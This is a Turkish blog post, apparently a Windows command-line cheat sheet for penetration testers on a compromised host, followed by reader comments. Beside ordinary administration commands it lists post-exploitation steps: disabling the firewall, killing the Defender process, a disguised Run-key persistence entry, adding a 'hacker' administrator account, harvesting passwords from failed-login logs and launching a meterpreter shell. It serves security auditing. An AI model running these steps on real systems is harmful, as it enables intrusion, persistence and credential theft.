Windows Komut Satırı Kılavuzu (Denetim Yapanlar İçin)

Güvenlik denetimi yapanlar için bir Windows komut satırı kılavuzu hazırladım. Aşağıdaki komutların tümünün özelliği interaktif komut olmamalarıdır. (Uğraştım bir shell elde ettim, bir komutla işleri elime yüzüme bulaştırmayayım modu)

Bu kılavuz aşağıdaki bölümlere ayrılmıştır:

  • Temel Komutlar
  • Dosya Oluşturma ve Düzenleme
  • Ele Geçirilen Sistemin Analizi
  • Ağ Servisleri ve Firewall Analizi
  • İşlemler ve Çalışan Servisler
  • Registry Erişimi ve Düzenleme
  • Kullanıcı/Grup Analizi ve Kullanıcı Ekleme
  • Komşu Hedeflerin Keşfi
  • Yeni Sürümlerde Paket Yönetimi

Temel Komutlar

Herhangi bir dosyayı görüntüleme
type
Örn:
type c:\windows\system32\drivers\etc\hosts

Çıktı filtreleme
findstr
find “aranacak_kelime”
Örn:
netstat -ano |findstr /i listen (/i = büyük küçük harf duyarlı olmasın)

Dosya arama bulma
dir /s /b filtre
Örn:
dir /s /b |findstr web.config

 

Dosya Oluşturma ve Düzenleme

Satır satır yeni bir dosya oluşturma
echo SATIR1 >> dosya 
echo SATIR2 >> dosya

(satır sonlarında boşluk olmaması için “echo SATIR3>> dosya” kullanılabilir)

İçerisinde < veya > karakterleri geçen satırları dosyaya ekleme (< veya > karakterleri öncesinde ^ karakteri koyulmalıdır)
echo ^> >> dosya
Örn: echo ^<?php phpinfo(); ?^> >> dosya.php

Dosya içerisindeki bir satırı silme
type dosya |findstr /v satırda_geçen_bölüm > yenidosya

 

Ele Geçirilen Sistemin Analizi

Detaylı sistem bilgisi öğrenme (İşletim sistemi, sürümü, service pack seviyesi, yüklü yamalar, ağ kartları)
systeminfo
(Windows XP, Vista, 7, 2003, 2008 vb.)

IP bilgisi
ipconfig /all

DNS cache (Kullanıcının son ziyaret ettiği siteler, çevredeki sunucular vb görülebilir)
ipconfig /displaydns

DNS cache temizleme
ipconfig /flushdns

Sistem değişkenleri
set

Event Log içerisinde sorgulama
eventquery.vbs
Örn:
Sistemlere giriş yaparken yanlışlıkla kullanıcı adı bölümü kısmına şifre yazılmış olabilir. Ayrıca bazı durumlarda kullanıcı adı ve şifre yanyana yazılabilmektedir. Bunları Security Event Log içerisinden çıkartabiliriz.
cscript c:\WINDOWS\system32\eventquery.vbs /l Security /fi “id eq 529” /v
(tüm failed loginler)
cscript c:\WINDOWS\system32\eventquery.vbs /l Security /fi “id eq 529” /v |find “User Name” |find /v /i “administrator ”
(administrator kullanıcı adı yanına yazılmış şifreler)

 

Ağ Servisleri ve Firewall Analizi

Mevcut sistemdeki paylaşımlar
net share

Paylaşımlara bağlı sistemler ve kullanıcılar, IP adresleri
net session
nbtstat -S

Dinleyen servisler, aktif bağlantılar
netstat -an
netstat -ano
netstat -anb
(o seçeneği process ID, b seçeneği process ID + dosya adı gösterir. Eski sistemlerde bulunmayabilir)

Firewall durumu görüntüleme
netsh firewall show config

Firewall’u devre dışı bırakma
netsh firewall set opmode disable

Firewall’u devre dışı bırakmadan ayarlarıyla oynamak için aşağıdaki komutu çalışın
netsh firewall add portopening /?

 

İşlemler ve Çalışan Servisler

Çalışan programları listeleme
tasklist

Çalışan programları kapatma
taskkill
Örn:
taskkill /f /im MsMpEng.exe (msmpeng.exe isimli tüm işlemleri öldür)
taskkill /f /pid 1868 (1868 process ID’li tüm işlemleri öldür)

Windows servislerini listeleme
sc query state= all (Boşluğa dikkat)

Çalışan servisleri listeleme
sc query
net start

Servis başlatma/durdurma
sc start/stop servis_adı
net start/stop “servis görünen adı”

Servis disabled ise başlatmadan önce
sc config servis_adı start= demand

Yeni bir işlem başlatma
start /min dosya.exe (Örneğin encoded bir meterpreter shell transfer ettiniz ve çalıştırmak istiyorsunuz. Hört diye direk çalıştırırsanız shell erişiminizi kaybedebilirsiniz.)

Bir komutun belirli bir zamanda çalışmasını sağlama (job scheduling)
at
schtasks (daha esnek ve yeni Windows sürümlerinde artık bu geçerli olacak)

Not: schedule servisinin çalışıp çalışmadığını kontrol etmek için:
sc query schedule

 

Registry Erişimi Ve Düzenleme

Registry değerlerini görme
reg query HKLM\Software\microsoft\Windows\CurrentVersion\run

Registry içerisine yeni bir değer ekleme
reg add HKLM\Software\microsoft\Windows\CurrentVersion\run /v HPSysCheck /d myshell.exe

 

Kullanıcı/Grup Analizi ve Kullanıcı Ekleme

Kullanıcıları listeleme
net user

Grupları veya bir grup içerisindeki kullanıcıları listeleme
net localgroup
net localgroup administrators

Sisteme yeni kullanıcı ekleme ve bu kullanıcıyı Administrators grubuna ekleme
net user add hacker Woot123 /add
net user administrators hacker /add
Domain’e yeni kullanıcı eklemek için komut sonlarına /domain ekleyiniz. Bunun için domain’de yetkili bir kullanıcı olarak komutu çalıştırıyor olmak gerekir.

 

Komşu Hedeflerin Keşfi

Çevredeki Windows sunucular
net view

Çevredeki Windows sunucular üzerindeki paylaşımlar
net view \\sunucu

Kullanılan paylaşımlar
net use

ARP hafızası çevredeki cihazları gösterebilir
arp -a

Route tanımları, yeni hedef ağlara ve gateway cihazlarına işaret edebilir
route print

Port tarama
Netcat veya Scanline yazılımı hedef sisteme transfer ederek çevredeki sunucuların açık servisleri tespit edilebilir. Scanline daha basit, hızlı ve netcat’e göre yetenekli bir seçenek olabilir.
Port tarama yapmadan önce mutlaka Windows firewall aktifse, devre dışı bırakın.
Örn:
nc -nvz -w1 192.168.14.20 21 22 25 79 80 81 110 143 135 443 445 |findstr open

 

Yeni Sürümlerde Paket Yönetimi

Dosya transferi demişken, Windows Vista, 7 ve 2008’de TFTP client, Telnet Client gelmemektedir. Şu şekilde aktif hale getirilebilir:
pkgmgr /iu:TFTP
pkgmgr /iu:TelnetClient

Kaldırmak için
pkgmgr /uu:TFTP
pkgmgr /uu:TelnetClient

 

 

Güncellemeler

23/10/2011 – Dosya oluşturma ve düzenleme bölümü eklendi, paylaşımlarla ilgili bazı bilgiler eklendi, ele geçirilen sistemin analizi bölümüne bazı ipuçları eklendi, yazı daha kolay okunabilir hale dönüştürüldü.

 

Windows command line cheat sheet for penetration testers

5 Responses to “Windows Komut Satırı Kılavuzu (Denetim Yapanlar İçin)”

  1. Mert SARICA says:

    pkgmgr'yi bilmiyordum bak iyi oldu bu :)

  2. Veysel GÜNDOĞDU says:

    Çok güzel ve özlü bir çalışma olmuş. Elinize sağlık.

  3. Tristan Schlag says:

    Many thanks! It’s so much better than the unoriginal issues you oftentimes come across in our sphere.

  4. serkanh. says:

    Güzel bir çalışma olmuş , elinize sağlık.

    Belli bir portun aktif olup olmadığını kontrol etmek için
    “telnet ipadres portno” komutu da listeye eklenebilir.
    tracert , nslookup ,nbtstat -n komutları da sıklıkla kullandığım komutlar arasındadır.

    • Sertan Kolat says:

      Tesekkurler.

      Telnet daha interaktif bir komut oldugu icin eklememistim. Acik bir port bulundugunda shell oturumunda sorun olusacaktir. Bu nedenle kullanimina dikkat etmekte fayda var.
      Hedefe nc veya scanline yukleyip, bunlarla cevre sistemleri taramak daha risksiz olacaktir. Ama mutlaka telnet kullanilmasi gerekiyorsa, suradaki gibi kullanilabilir: http://blog.commandlinekungfu.com/2010/04/episode-89-lets-scan-us-some-ports.html

      nslookup da ayni sekilde, direk komut satirindan kullanilmasi gerekir. Sadece nslookup yazilip enter’a basildiginda, shell baglantisi ise yaramaz hale gelebilir.

      Evet, nbtstat bazen faydali olabilir. Dokumani guncelleyecegim. Formati da kotu olmus, blogger’dan buraya import ettigim icin zor okunur hale gelmis.

Leave a Reply to Tristan Schlag Cancel reply

Your email address will not be published. Required fields are marked *